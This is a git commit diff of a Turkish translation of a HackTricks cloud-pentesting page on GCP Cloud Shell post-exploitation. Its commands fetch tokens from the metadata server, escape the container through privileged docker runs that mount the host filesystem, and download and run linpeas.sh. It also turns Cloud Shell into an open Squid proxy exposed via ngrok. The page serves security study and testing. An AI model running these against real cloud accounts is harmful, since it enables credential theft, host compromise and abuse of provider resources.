mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation
This commit is contained in:
@@ -10,40 +10,40 @@ Cloud Shell hakkında daha fazla bilgi için bakınız:
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Container Escape
|
||||
### Metadata'dan kullanıcı tokeni elde etme
|
||||
|
||||
Google Cloud Shell'in bir container içinde çalıştığını unutmayın; şu komutları çalıştırarak **ana makineye kolayca kaçabilirsiniz**:
|
||||
Sadece metadata sunucusuna erişerek, şu anda oturum açmış kullanıcı olarak erişmek için bir token elde edebilirsiniz:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
```
|
||||
### Container Escape / Docker use
|
||||
|
||||
> [!WARNING]
|
||||
> Önceden cloud shell, host'un docker socket'ine erişimi olan bir container içinde çalışıyordu. Şimdi Google mimariyi değiştirdi ve cloud shell container'ı "Docker in a container" şeklinde çalışıyor. Bu yüzden cloud shell'den docker kullanmak mümkün olsa bile, docker socket'i kullanarak host'a escape edemezsiniz.
|
||||
> Not: Önceden `docker.sock` dosyası `/google/host/var/run/docker.sock` konumundaydı fakat şimdi `/run/docker.sock` konumuna taşındı.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
<summary>Docker use / Old container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
sudo docker -H unix:///run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock start escaper
|
||||
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
</details>
|
||||
|
||||
Bu, google tarafından bir vulnerability olarak değerlendirilmez, ancak o ortamda olup bitenler hakkında daha geniş bir görüş sağlar.
|
||||
|
||||
Ayrıca, host'tan bir service account token bulabileceğinizi unutmayın:
|
||||
Ayrıca, geçmişte cloud shell VM tarafından kullanılan bir service account için token metadata server'da bulunabiliyordu:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Service account'ı metadata'den alın</summary>
|
||||
<summary>Metadata'daki eski service account</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
</details>
|
||||
|
||||
Aşağıdaki kapsamlarla:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hizmet hesabı kapsamlarını al</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -53,37 +53,25 @@ https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
</details>
|
||||
|
||||
LinPEAS ile metadata enumerate et:
|
||||
|
||||
|
||||
### Proxy olarak kullanın
|
||||
|
||||
Eğer google cloud shell örneğinizi proxy olarak kullanmak istiyorsanız, aşağıdaki komutları çalıştırmanız (veya .bashrc dosyasına eklemeniz) gerekir:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>LinPEAS ile metadata enumerate et</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
</details>
|
||||
|
||||
Service Account tokeni ile [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) kullandıktan sonra **hiçbir izin keşfedilmedi**...
|
||||
|
||||
### Proxy olarak kullan
|
||||
|
||||
google cloud shell örneğinizi proxy olarak kullanmak istiyorsanız aşağıdaki komutları çalıştırmanız gerekir (veya .bashrc dosyasına ekleyin):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Install Squid proxy</summary>
|
||||
<summary>Squid proxy Kurulumu</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
</details>
|
||||
|
||||
Bilginiz olsun: Squid bir http proxy sunucusudur. Aşağıdaki ayarlarla bir **squid.conf** dosyası oluşturun:
|
||||
Bilginiz olsun, Squid bir http proxy sunucusudur. Aşağıdaki ayarlarla bir **squid.conf** dosyası oluşturun:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>squid.conf dosyası oluşturun</summary>
|
||||
<summary>Create squid.conf file</summary>
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
@@ -92,21 +80,21 @@ http_access allow all
|
||||
```
|
||||
</details>
|
||||
|
||||
**squid.conf** dosyasını **/etc/squid** dizinine kopyalayın
|
||||
**squid.conf** dosyasını **/etc/squid** dizinine kopyala
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Konfigürasyonu /etc/squid dizinine kopyalayın</summary>
|
||||
<summary>Yapılandırmayı /etc/squid dizinine kopyala</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
</details>
|
||||
|
||||
Son olarak squid servisini başlatın:
|
||||
Son olarak squid servisini çalıştırın:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Squid servisini başlat</summary>
|
||||
<summary>Start Squid service</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
@@ -116,19 +104,19 @@ Proxy'nin dışarıdan erişilebilir olmasını sağlamak için ngrok kullanın:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ngrok ile proxy'yi dışarıdan erişilebilir yapın</summary>
|
||||
<summary>Proxy'yi ngrok ile erişime açın</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
Çalıştırdıktan sonra tcp:// URL'sini kopyalayın. Proxy'yi bir tarayıcıdan çalıştırmak istiyorsanız tcp:// bölümünü ve portu kaldırıp portu tarayıcınızın proxy ayarları alanındaki port kısmına girmeniz önerilir (squid bir http proxy sunucusudur).
|
||||
Çalıştırdıktan sonra tcp:// URL'sini kopyalayın. Proxy'yi bir tarayıcıdan çalıştırmak isterseniz, tcp:// bölümünü ve portu kaldırıp portu tarayıcı proxy ayarlarınızın port alanına girmeniz önerilir (squid bir http proxy sunucusudur).
|
||||
|
||||
Başlangıçta daha iyi kullanım için .bashrc dosyasına aşağıdaki satırların eklenmesi gerekir:
|
||||
Başlangıçta daha rahat kullanım için .bashrc dosyasının aşağıdaki satırları içermesi gerekir:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Otomatik başlangıç için .bashrc'e ekleyin</summary>
|
||||
<summary>Otomatik başlatma için .bashrc'ye ekle</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
Talimatlar [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) adresinden kopyalandı. Cloud Shell'de her türlü yazılımı (veritabanları ve hatta windows) çalıştırmak için daha fazla çılgın fikir görmek üzere o sayfayı inceleyin.
|
||||
Talimatlar [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) adresinden kopyalandı. Cloud Shell'de herhangi bir yazılımı (veritabanları ve hatta Windows) çalıştırmak için diğer çılgın fikirler için o sayfayı inceleyin.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user